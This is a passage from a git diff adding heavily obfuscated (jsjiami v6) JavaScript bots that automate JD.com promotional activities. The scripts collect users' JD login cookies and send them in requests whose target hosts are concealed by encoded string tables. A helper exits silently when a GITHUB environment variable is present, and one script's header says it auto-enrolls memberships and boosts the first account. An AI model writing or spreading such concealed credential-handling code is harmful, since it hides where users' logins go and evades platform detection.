_0x266e5a[_0x2d1767[_0x343b('‫1a5')]][_0x2d1767[_0x343b('‫1a6')]]){if(_0x2d1767[_0x343b('‮1b2')](_0x2d1767[_0x343b('‮1b3')],_0x2d1767[_0x343b('‮1b4')])){$[_0x343b('‮60')]=_0x5d39e5[_0x343b('‮60')];}else{cookie=''+cookie+_0x3bf6e6[_0x343b('‫39')](';')[0x0]+';';}}}else{for(let _0x34cfad of _0x266e5a[_0x2d1767[_0x343b('‫1a5')]][_0x2d1767[_0x343b('‮1b5')]][_0x343b('‫39')](',')){if(_0x2d1767[_0x343b('‮1b6')](_0x2d1767[_0x343b('‮1b7')],_0x2d1767[_0x343b('‮1b7')])){console[_0x343b('‮15')](_0x11214b);}else{cookie=''+cookie+_0x34cfad[_0x343b('‫39')](';')[0x0]+';';}}}}}if(_0x266e5a[_0x2d1767[_0x343b('‫1a5')]][_0x2d1767[_0x343b('‮1b5')]]){cookie=''+originCookie;if($[_0x343b('‮14d')]()){for(let _0xdd3012 of _0x266e5a[_0x2d1767[_0x343b('‫1a5')]][_0x2d1767[_0x343b('‫1a6')]]){if(_0x2d1767[_0x343b('‮1b6')](_0x2d1767[_0x343b('‮1b8')],_0x2d1767[_0x343b('‮1b8')])){if(_0x5d39e5){_0x5d39e5=JSON[_0x343b('‮e2')](_0x5d39e5);if(_0x5d76b9[_0x343b('‫1b9')](_0x5d39e5[_0x343b('‮1ba')],'0')){$[_0x343b('‮60')]=_0x5d39e5[_0x343b('‮60')];}}else{$[_0x343b('‮15')](_0x5d76b9[_0x343b('‮1bb')]);}}else{cookie=''+cookie+_0xdd3012[_0x343b('‫39')](';')[0x0]+';';}}}else{for(let _0x2448d3 of _0x266e5a[_0x2d1767[_0x343b('‫1a5')]][_0x2d1767[_0x343b('‮1b5')]][_0x343b('‫39')](',')){if(_0x2d1767[_0x343b('‮1b6')](_0x2d1767[_0x343b('‮1bc')],_0x2d1767[_0x343b('‮1bc')])){for(let _0xcb4e92 of _0x266e5a[_0x5d76b9[_0x343b('‮1bd')]][_0x5d76b9[_0x343b('‫1be')]]){cookie=''+cookie+_0xcb4e92[_0x343b('‫39')](';')[0x0]+';';}}else{cookie=''+cookie+_0x2448d3[_0x343b('‫39')](';')[0x0]+';';}}}}}}catch(_0x263cfa){if(_0x2d1767[_0x343b('‮1bf')](_0x2d1767[_0x343b('‮1c0')],_0x2d1767[_0x343b('‮1c0')])){console[_0x343b('‮15')](_0x263cfa);}else{_0x5d39e5=JSON[_0x343b('‮e2')](_0x5d39e5);if(_0x5d76b9[_0x343b('‫1c1')](_0x5d39e5[_0x343b('‮1ba')],'0')){$[_0x343b('‮60')]=_0x5d39e5[_0x343b('‮60')];}}}finally{if(_0x2d1767[_0x343b('‫1c2')](_0x2d1767[_0x343b('‮1c3')],_0x2d1767[_0x343b('‮1c4')])){_0x2d1767[_0x343b('‫1c5')](_0x28be4e);}else{uuid=v[_0x343b('‮6f')](0x24);}}});});}function getToken(){var _0x485562={'WHONM':function(_0x89f54d,_0x4ac157){return _0x89f54d===_0x4ac157;},'qcqLl':_0x343b('‮1c6'),'fMNTD':function(_0x25ba57,_0x71625d){return _0x25ba57!==_0x71625d;},'DrIfo':_0x343b('‮1c7'),'vQImT':function(_0xc7f90e,_0xeb4f4b){return _0xc7f90e===_0xeb4f4b;},'tBANJ':_0x343b('‫3e'),'GPkrV':function(_0x5a1f77){return _0x5a1f77();},'oPEFg':_0x343b('‫1c8'),'orMMm':_0x343b('‮129'),'vERqF':_0x343b('‮1c9'),'rNHPo':_0x343b('‫103'),'PcTsu':_0x343b('‮1ca'),'mReeQ':_0x343b('‮1cb'),'JfOwC':_0x343b('‮100')};let _0x268cc2={'url':_0x343b('‫1cc'),'headers':{'Host':_0x485562[_0x343b('‫1cd')],'Content-Type':_0x485562[_0x343b('‮1ce')],'Accept':_0x485562[_0x343b('‫1cf')],'Connection':_0x485562[_0x343b('‮1d0')],'Cookie':cookie,'User-Agent':_0x485562[_0x343b('‫1d1')],'Accept-Language':_0x485562[_0x343b('‮1d2')],'Accept-Encoding':_0x485562[_0x343b('‫1d3')]},'body':_0x343b('‫1d4')};return new Promise(_0x50ff92=>{var _0x29f632={'JVeqD':function(_0x2fea28,_0x46806c){return _0x485562[_0x343b('‫1d5')](_0x2fea28,_0x46806c);},'VcbRa':_0x485562[_0x343b('‫1d6')],'yWXGW':function(_0x29c965,_0x27bbb8){return _0x485562[_0x343b('‮1d7')](_0x29c965,_0x27bbb8);},'MLKaS':_0x485562[_0x343b('‫1d8')],'IsjQa':function(_0x3a9d59,_0x56f7fe){return _0x485562[_0x343b('‫1d9')](_0x3a9d59,_0x56f7fe);},'aipqn':_0x485562[_0x343b('‫1da')],'TqzGf':function(_0x187148){return _0x485562[_0x343b('‮1db')](_0x187148);}};$[_0x343b('‫da')](_0x268cc2,(_0x49f374,_0x31fb29,_0x44f57a)=>{try{if(_0x29f632[_0x343b('‮1dc')](_0x29f632[_0x343b('‮1dd')],_0x29f632[_0x343b('‮1dd')])){if(_0x49f374){$[_0x343b('‮15')](_0x49f374);}else{if(_0x44f57a){if(_0x29f632[_0x343b('‮1de')](_0x29f632[_0x343b('‮1df')],_0x29f632[_0x343b('‮1df')])){cookie=''+cookie+ck[_0x343b('‫39')](';')[0x0]+';';}else{_0x44f57a=JSON[_0x343b('‮e2')](_0x44f57a);if(_0x29f632[_0x343b('‫1e0')](_0x44f57a[_0x343b('‮1ba')],'0')){$[_0x343b('‮60')]=_0x44f57a[_0x343b('‮60')];}}}else{$[_0x343b('‮15')](_0x29f632[_0x343b('‮1e1')]);}}}else{$[_0x343b('‫1d')]=_0x44f57a[_0x343b('‫e8')][_0x343b('‮112')][_0x343b('‫173')][_0x343b('‫165')];}}catch(_0x5f1cd6){$[_0x343b('‮15')](_0x5f1cd6);}finally{_0x29f632[_0x343b('‮1e2')](_0x50ff92);}});});}function random(_0x67fa5f,_0x4e8c52){var _0x5e2064={'JGOQz':function(_0x2280fa,_0x41a191){return _0x2280fa+_0x41a191;},'CZJNn':function(_0x9fc7ec,_0x8762aa){return _0x9fc7ec*_0x8762aa;},'AZcxd':function(_0x46be66,_0x2b5938){return _0x46be66-_0x2b5938;}};return _0x5e2064[_0x343b('‫1e3')](Math[_0x343b('‮1e4')](_0x5e2064[_0x343b('‮1e5')](Math[_0x343b('‫6b')](),_0x5e2064[_0x343b('‫1e6')](_0x4e8c52,_0x67fa5f))),_0x67fa5f);}function getUUID(_0x41d48b=_0x343b('‮b'),_0x1a5b3f=0x0){var _0xdb5b2d={'DStpb':function(_0x234d84,_0x5e1400){return _0x234d84|_0x5e1400;},'NXazy':function(_0x41d7a1,_0x37e283){return _0x41d7a1*_0x37e283;},'jGYGL':function(_0x533a4c,_0x574a95){return _0x533a4c==_0x574a95;},'gMrSo':function(_0x31e6b1,_0x247641){return _0x31e6b1|_0x247641;},'GzMcc':function(_0x1e3805,_0x437c3d){return _0x1e3805&_0x437c3d;},'PInKa':function(_0x4bfd6b,_0x3fc3a3){return _0x4bfd6b===_0x3fc3a3;},'SqYjn':_0x343b('‮1e7')};return _0x41d48b[_0x343b('‫1ad')](/[xy]/g,function(_0x3492d4){var _0x20f62a=_0xdb5b2d[_0x343b('‫1e8')](_0xdb5b2d[_0x343b('‫1e9')](Math[_0x343b('‫6b')](),0x10),0x0),_0x24854d=_0xdb5b2d[_0x343b('‮1ea')](_0x3492d4,'x')?_0x20f62a:_0xdb5b2d[_0x343b('‫1eb')](_0xdb5b2d[_0x343b('‫1ec')](_0x20f62a,0x3),0x8);if(_0x1a5b3f){if(_0xdb5b2d[_0x343b('‫1ed')](_0xdb5b2d[_0x343b('‮1ee')],_0xdb5b2d[_0x343b('‮1ee')])){uuid=_0x24854d[_0x343b('‮6f')](0x24)[_0x343b('‮70')]();}else{console[_0x343b('‮15')](data[_0x343b('‫e8')][_0x343b('‮d')]);}}else{uuid=_0x24854d[_0x343b('‮6f')](0x24);}return uuid;});}function checkCookie(){var _0x3603b8={'HbrEd':_0x343b('‮5f'),'aOFvV':function(_0x2584f3,_0x3508dd){return _0x2584f3!==_0x3508dd;},'qaWCX':_0x343b('‫1ef'),'ZEFKI':function(_0x194e6e,_0x1efea1){return _0x194e6e===_0x1efea1;},'vhGDm':_0x343b('‫111'),'NjDlY':function(_0x5c6545,_0x24302e){return _0x5c6545===_0x24302e;},'ClzPL':_0x343b('‮1f0'),'RGawm':function(_0x10cced,_0x2949de){return _0x10cced===_0x2949de;},'Assmd':_0x343b('‮112'),'ZUsPA':_0x343b('‫3e'),'OlsZs':function(_0x31d29f){return _0x31d29f();},'xUXTW':_0x343b('‫fc'),'UjXZt':_0x343b('‮fd'),'eUGmE':_0x343b('‫fe'),'UkItQ':_0x343b('‮ff'),'Bfbaz':_0x343b('‮100'),'oYZWD':_0x343b('‫101'),'sEOZH':_0x343b('‮102'),'Ikxrz':_0x343b('‫103'),'AYCaj':_0x343b('‮1f1'),'cMIsj':_0x343b('‮1f2'),'qLCVy':_0x343b('‮1c9'),'NEbbv':_0x343b('‮1f3'),'qAzlq':_0x343b('‫1f4')};const _0x3559fe={'url':_0x3603b8[_0x343b('‫1f5')],'headers':{'Host':_0x3603b8[_0x343b('‮1f6')],'Accept':_0x3603b8[_0x343b('‫1f7')],'Connection':_0x3603b8[_0x343b('‫1f8')],'Cookie':cookie,'User-Agent':_0x3603b8[_0x343b('‫1f9')],'Accept-Language':_0x3603b8[_0x343b('‫1fa')],'Referer':_0x3603b8[_0x343b('‫1fb')],'Accept-Encoding':_0x3603b8[_0x343b('‮1fc')]}};return new Promise(_0x409d3e=>{var _0x124f50={'ctMaO':_0x3603b8[_0x343b('‮1fd')],'uxFie':_0x3603b8[_0x343b('‫1fe')],'hbPmM':_0x3603b8[_0x343b('‮1ff')],'dYcBi':_0x3603b8[_0x343b('‫1fa')],'qerJM':_0x3603b8[_0x343b('‮1fc')],'EiLOr':_0x3603b8[_0x343b('‫200')],'derfU':_0x3603b8[_0x343b('‮201')],'XJcxv':_0x3603b8[_0x343b('‫1f8')]};$[_0x343b('‮191')](_0x3559fe,(_0x11e7da,_0xabee7,_0x37e716)=>{var _0x30bd54={'fagxL':_0x3603b8[_0x343b('‫202')]};try{if(_0x11e7da){if(_0x3603b8[_0x343b('‮203')](_0x3603b8[_0x343b('‮204')],_0x3603b8[_0x343b('‮204')])){return{'url':isCommon?_0x343b('‫104')+function_id:_0x343b('‫105')+function_id,'headers':{'Host':_0x124f50[_0x343b('‫205')],'Accept':_0x124f50[_0x343b('‮206')],'X-Requested-With':_0x124f50[_0x343b('‫207')],'Accept-Language':_0x124f50[_0x343b('‮208')],'Accept-Encoding':_0x124f50[_0x343b('‮209')],'Content-Type':_0x124f50[_0x343b('‫20a')],'Origin':_0x124f50[_0x343b('‮20b')],'User-Agent':_0x343b('‮10d')+$[_0x343b('‮2c')]+_0x343b('‮10e')+$[_0x343b('‫29')]+_0x343b('‮10f'),'Connection':_0x124f50[_0x343b('‮20c')],'Referer':$[_0x343b('‮31')],'Cookie':cookie},'body':body};}else{$[_0x343b('‮ac')](_0x11e7da);}}else{if(_0x37e716){_0x37e716=JSON[_0x343b('‮e2')](_0x37e716);if(_0x3603b8[_0x343b('‮20d')](_0x37e716[_0x343b('‫16e')],_0x3603b8[_0x343b('‫20e')])){if(_0x3603b8[_0x343b('‮20f')](_0x3603b8[_0x343b('‮210')],_0x3603b8[_0x343b('‮210')])){$[_0x343b('‫1c')]=![];return;}else{$[_0x343b('‮15')](_0x30bd54[_0x343b('‫211')]);}}if(_0x3603b8[_0x343b('‮212')](_0x37e716[_0x343b('‫16e')],'0')&&_0x37e716[_0x343b('‫e8')][_0x343b('‫171')](_0x3603b8[_0x343b('‫213')])){$[_0x343b('‫1d')]=_0x37e716[_0x343b('‫e8')][_0x343b('‮112')][_0x343b('‫173')][_0x343b('‫165')];}}else{$[_0x343b('‮15')](_0x3603b8[_0x343b('‮214')]);}}}catch(_0x20e7ab){$[_0x343b('‮ac')](_0x20e7ab);}finally{_0x3603b8[_0x343b('‫215')](_0x409d3e);}});});};_0xoda='jsjiami.com.v6'; +// prettier-ignore +!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_wxSecond.js b/jd_wxSecond.js new file mode 100644 index 0000000..2c35e61 --- /dev/null +++ b/jd_wxSecond.js @@ -0,0 +1,13 @@ +/* +活动名称:读秒拼手速 +活动链接:https://lzkjdz-isv.isvjd.com/wxSecond/activity/entry.html?activityId=<活动id> +环境变量:jd_wxSecond_activityId // 活动id + +默认助力第一个号,脚本自动入会,不想入会勿跑! +7 7 7 7 7 jd_wxSecond.js +*/ + +var _0xodU='jsjiami.com.v6',_0xodU_=['‮_0xodU'],_0x2af6=[_0xodU,'\x35\x72\x57\x65\x35\x59\x71\x6f\x35\x61\x65\x48\x35\x34\x47\x77\x35\x34\x69\x5a\x37\x37\x2b\x77\x36\x4b\x2b\x38\x35\x36\x75\x50\x35\x5a\x43\x76\x35\x59\x61\x70\x36\x4b\x79\x5a','\x65\x7a\x34\x65\x4d\x43\x6b\x76\x4c\x73\x4f\x53\x41\x63\x4f\x68\x55\x6e\x4c\x44\x69\x45\x59\x3d','\x56\x63\x4f\x59\x61\x41\x48\x44\x6b\x43\x5a\x59\x77\x70\x48\x43\x6d\x38\x4f\x79\x77\x71\x76\x43\x72\x4d\x4b\x36\x77\x34\x55\x3d','\x48\x7a\x44\x43\x6c\x63\x4f\x6d\x77\x6f\x73\x3d','\x59\x63\x4b\x6a\x62\x63\x4b\x4f\x77\x35\x55\x3d','\x52\x48\x49\x36','\x46\x56\x45\x6f\x77\x6f\x67\x44\x77\x72\x6b\x71\x46\x38\x4b\x4e\x50\x63\x4b\x73\x54\x4d\x4f\x6c\x77\x6f\x70\x52\x66\x4d\x4b\x65\x62\x41\x64\x2b\x77\x35\x62\x43\x76\x6a\x33\x43\x71\x4d\x4f\x50\x77\x72\x51\x65\x77\x37\x35\x34\x61\x73\x4f\x57\x77\x70\x42\x58\x77\x34\x33\x44\x6b\x67\x3d\x3d','\x57\x4d\x4b\x42\x64\x44\x37\x43\x69\x63\x4f\x31\x42\x54\x34\x65\x62\x63\x4f\x4a\x77\x70\x7a\x43\x69\x33\x64\x74\x77\x71\x74\x6e\x4c\x4d\x4b\x43\x77\x72\x34\x37\x77\x71\x77\x77\x41\x6c\x45\x6c\x41\x38\x4f\x50','\x56\x67\x63\x31\x43\x69\x37\x43\x72\x51\x30\x79\x66\x63\x4b\x2b\x77\x36\x56\x41\x65\x73\x4f\x6f\x44\x63\x4f\x55\x77\x36\x62\x43\x76\x56\x66\x43\x6f\x41\x62\x44\x72\x58\x67\x4c\x4b\x63\x4b\x7a\x77\x35\x48\x43\x75\x51\x52\x4b\x77\x35\x72\x43\x6c\x4d\x4b\x4d\x64\x38\x4f\x35\x77\x37\x50\x44\x6f\x44\x35\x47\x43\x67\x64\x66\x5a\x73\x4f\x4a\x4b\x63\x4b\x64\x4c\x38\x4b\x6a\x77\x36\x44\x43\x6d\x38\x4f\x76\x65\x78\x7a\x44\x70\x44\x30\x65\x77\x37\x6e\x44\x75\x63\x4f\x35\x4b\x63\x4f\x78\x4b\x32\x6b\x30\x77\x72\x6f\x48\x4b\x4d\x4f\x2f\x50\x38\x4b\x45\x61\x73\x4b\x79\x77\x35\x48\x43\x70\x4d\x4f\x34\x77\x72\x76\x44\x75\x33\x6a\x44\x73\x6d\x66\x43\x70\x63\x4f\x58\x77\x70\x66\x43\x72\x38\x4f\x41\x77\x70\x4e\x61\x77\x35\x49\x50\x4b\x79\x50\x44\x67\x4d\x4b\x4b\x77\x34\x42\x7a\x4d\x73\x4b\x4e\x47\x32\x50\x43\x70\x4d\x4b\x2b\x77\x72\x37\x44\x71\x63\x4f